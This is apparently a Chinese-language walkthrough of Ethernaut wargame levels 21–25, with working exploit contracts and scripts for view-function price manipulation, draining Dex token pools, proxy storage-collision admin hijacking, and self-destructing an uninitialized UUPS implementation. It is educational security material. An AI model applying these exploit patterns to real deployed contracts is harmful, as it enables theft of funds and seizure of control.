Ethernaut(21-25)详解
字数 1631 2025-09-01 11:26:03
Ethernaut 21-25 关卡详解教学文档
第21关:Shop 价格操纵
关卡描述
目标是以低于要求的价格从商店购买商品。
关键知识点
view函数限制:承诺不修改状态的函数- 被视为修改状态的操作:
- 写入状态变量
- 发出事件
- 创建合约
- 使用
selfdestruct - 发送以太币
- 调用非
view/pure函数 - 使用低级调用
- 特定操作码的内联汇编
漏洞分析
- 商店合约调用了
_buyer.price()两次 isSold是公开变量- 攻击思路:
- 第一次调用返回高价满足条件
- 第二次调用返回低价完成交易
攻击步骤
- 实现
Buyer合约的price()函数 - 第一次调用返回 100(满足条件)
- 第二次调用返回 0(实际支付)
攻击合约示例
contract Exploit {
Shop shop;
constructor(address _shop) {
shop = Shop(_shop);
}
function attack() public {
shop.buy();
}
function price() external view returns (uint) {
return shop.isSold() ? 0 : 100;
}
}
第22关:Dex 价格操纵
关卡描述
通过操纵代币价格从合约中窃取资金。
初始状态
- 玩家:10 token1 和 10 token2
- 合约:100 token1 和 100 token2
漏洞分析
- 兑换价格由池子余额比例决定:
amount * to_balance / from_balance - 通过大额交换可以操纵价格比例
攻击步骤
- 授权合约使用你的代币
- 执行以下交换序列:
- 用全部 token1 换 token2
- 用全部 token2 换 token1
- 重复直到耗尽一个池子
攻击脚本示例
// 授权
await contract.approve(contract.address, 1000);
// 交换序列
await contract.swap(token1, token2, 10);
await contract.swap(token2, token1, 20);
await contract.swap(token1, token2, 24);
await contract.swap(token2, token1, 30);
await contract.swap(token1, token2, 41);
await contract.swap(token2, token1, 45);
第23关:DexTwo 攻击
关卡描述
与第22关类似,但修改了交换逻辑,需要耗尽两个代币池。
关键修改
- 移除了
require(from != token1 && from != token2)
攻击思路
- 部署自定义代币
- 向合约转入自定义代币
- 用自定义代币交换 token1 和 token2
攻击步骤
- 部署攻击代币合约
- 向Dex合约转入100个攻击代币
- 用攻击代币交换token1和token2
攻击合约示例
contract AttackToken {
function approve(address spender, uint256 amount) public returns (bool) {
return true;
}
function transfer(address to, uint256 amount) public returns (bool) {
return true;
}
}
第24关:代理合约攻击
关卡描述
劫持钱包,成为代理管理员。
前置知识
- 代理模式:存储层(Proxy) + 逻辑层(Implementation)
- delegatecall:使用目标合约代码但保持调用者存储
- 存储冲突:变量按存储槽而非名称访问
漏洞分析
- Proxy和Wallet共享存储但变量顺序不同:
- Proxy的
pendingAdmin(slot0) = Wallet的owner - Proxy的
admin(slot1) = Wallet的maxBalance
- Proxy的
- 可以通过Wallet函数修改Proxy的存储
攻击步骤
- 调用
proposeNewAdmin成为pendingAdmin - 添加攻击合约到白名单
- 通过嵌套
multicall多次调用deposit - 执行取款操作
- 调用
setMaxBalance劫持admin
攻击合约示例
contract Exploit {
PuzzleProxy proxy;
constructor(address _proxy) {
proxy = PuzzleProxy(_proxy);
}
function attack() public payable {
// 1. 成为pendingAdmin
proxy.proposeNewAdmin(address(this));
// 2. 添加到白名单
PuzzleWallet(address(proxy)).addToWhitelist(address(this));
// 3. 嵌套multicall攻击
bytes[] memory depositData = new bytes[](1);
depositData[0] = abi.encodeWithSignature("deposit()");
bytes[] memory multicallData = new bytes[](2);
multicallData[0] = abi.encodeWithSignature("deposit()");
multicallData[1] = abi.encodeWithSignature("multicall(bytes[])", depositData);
PuzzleWallet(address(proxy)).multicall{value: msg.value}(multicallData);
// 4. 取款
PuzzleWallet(address(proxy)).execute(msg.sender, 2*msg.value, "");
// 5. 劫持admin
PuzzleWallet(address(proxy)).setMaxBalance(uint256(uint160(msg.sender)));
}
}
第25关:可升级合约攻击
关卡描述
自毁引擎合约使摩托车无法使用。
前置知识
- UUPS代理:升级逻辑放在实现合约中
- ERC1967:标准化的代理存储槽
- Initializable:可初始化合约模式
漏洞分析
- 实现合约的
initialize()未被调用 - 可以直接调用并成为
upgrader - 然后可以调用
upgradeToAndCall部署自毁合约
攻击步骤
- 直接调用
Engine的initialize() - 部署自毁合约
- 调用
upgradeToAndCall指向自毁合约
攻击合约示例
contract SelfDestruct {
constructor() payable {}
function destroy() public {
selfdestruct(payable(msg.sender));
}
}
contract Exploit {
function attack(address engine) public {
// 1. 初始化成为upgrader
Engine(engine).initialize();
// 2. 部署自毁合约
SelfDestruct destruct = new SelfDestruct{value: 0.001 ether}();
// 3. 升级并自毁
Engine(engine).upgradeToAndCall(
address(destruct),
abi.encodeWithSignature("destroy()")
);
}
}
总结
这五个关卡涵盖了以太坊智能合约安全的多个重要方面:
- View函数滥用:利用view函数的限制不严格进行状态修改
- DEX价格操纵:通过大额交易操纵价格机制
- 自定义代币攻击:利用合约对代币验证不足
- 代理合约存储冲突:利用delegatecall和存储布局问题
- UUPS代理漏洞:未初始化的可升级合约风险
每个关卡都展示了智能合约开发中常见的安全隐患,理解这些漏洞有助于开发更安全的合约系统。